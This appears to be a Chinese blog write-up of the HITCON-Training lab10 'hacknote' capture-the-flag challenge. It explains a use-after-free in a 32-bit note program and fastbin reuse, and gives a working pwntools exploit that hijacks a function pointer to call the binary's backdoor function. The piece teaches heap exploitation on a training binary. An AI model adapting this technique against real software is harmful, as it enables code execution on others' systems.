HITCON-Training lab10(uaf入門題)

題目下載地址:https://github.com/scwuaptx/HITCON-Training

哈哈哈,紀念一下明白的第一道堆題,雖然它真的很簡單。。。

 

32位程序

 

三個功能,增、刪、打印

 

程序給我們預留了後門函數

 

add函數,創建note會有兩個堆塊,分別是存放兩個函數指針的8字節堆塊和存放內容的堆塊

這個示意圖很清楚:

 

delete函數

 

print函數

 

因爲存在uaf漏洞,又有後門函數,所以考慮,將後門函數地址寫入context,讓該context覆蓋8字節print_note_content的地址

再打印該chunk的時候,函數指針會指向這塊區域,從而執行後門函數

 

瞭解一下fastbin(64位)

fastbin所包含chunk的大小爲16 Bytes, 24 Bytes, 32 Bytes, … , 80 Bytes。當分配一塊較小的內存(mem<=64 Bytes)時,會首先檢查對應大小的fastbin中是否包含未被使用的chunk,如果存在則直接將其從fastbin中移除並返回;否則通過其他方式(剪切top chunk)得到一塊符合大小要求的chunk並返回。

而當free一塊chunk時,也會首先檢查其大小是否落在fastbin的範圍中。如果是,則將其插入對應的bin中。顧名思義,fastbin爲了快速分配回收這些較小size的chunk,並沒對之前提到的bk進行操作,即僅僅通過fd組成了單鏈表而非雙向鏈表,而且其遵循後進先出(LIFO)的原則。

類似於0 day這本書的塊表

因爲程序是32位的,所以fastbin中塊的大小爲8Bytes, 12Bytes, 16Bytes, … , 40Bytes

我們的函數指針是8字節的,所以,如果我們先分配兩個快,他們的大小不等於8字節,那麼,free掉這兩個塊的時候,fastbin中的情況

8字節的 --> chunk1指針 --> chunk0指針 --> tail

n(<40字節)--> chunk1 --> chunk0 -->tail

 

那麼,我們malloc的時候,size選擇0x8,add函數中先分配指針的堆塊,然後分配content的堆塊

1.8字節的 --> chunk0 -->tail

chunk2指針=chunk1指針

chunk2_content=chunk0指針

所以,在打印chunk0的時候,chunk0的函數指針會指向chunk2的content,如果之前傳入了後門函數magic,就可以順利執行了

#coding=utf-8
from pwn import *
p=process('./hacknote')

magic_addr=0x08048986

def add(size,content):
    p.recvuntil("Your choice :")
    p.sendline('1')
    p.recvuntil("Note size :")
    p.sendline(str(size))
    p.recvuntil("Content :")
    p.sendline(content)

def delete(index):
    p.recvuntil("Your choice :")
    p.sendline('2')
    p.recvuntil("Index :")
    p.sendline(str(index))

def print_note(index):
    p.recvuntil("Your choice :")
    p.sendline('3')
    p.recvuntil("Index :")
    p.sendline(str(index))

add(0x32,'aaaa')#0
add(0x32,'aaaa')#1
delete(0)
delete(1)
add(0x8,p32(magic_addr))#2
print_note(0)
p.interactive()

在本地/home/hacknote下創建了flag文件

執行結果:

參考博客:https://www.jianshu.com/p/f894c2961ca6

 

 

 

 

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章